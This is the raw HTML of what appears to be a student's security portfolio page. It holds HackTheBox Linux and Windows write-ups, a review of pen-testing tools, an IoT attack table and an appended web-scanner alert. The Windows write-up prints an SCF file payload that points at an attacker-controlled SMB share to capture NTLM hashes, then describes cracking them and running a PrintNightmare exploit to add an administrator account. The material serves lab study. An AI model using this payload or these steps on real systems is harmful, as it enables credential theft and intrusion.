/tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 67108864Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 908189033, which evaluates to: 1998-10-12 12:43:53
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
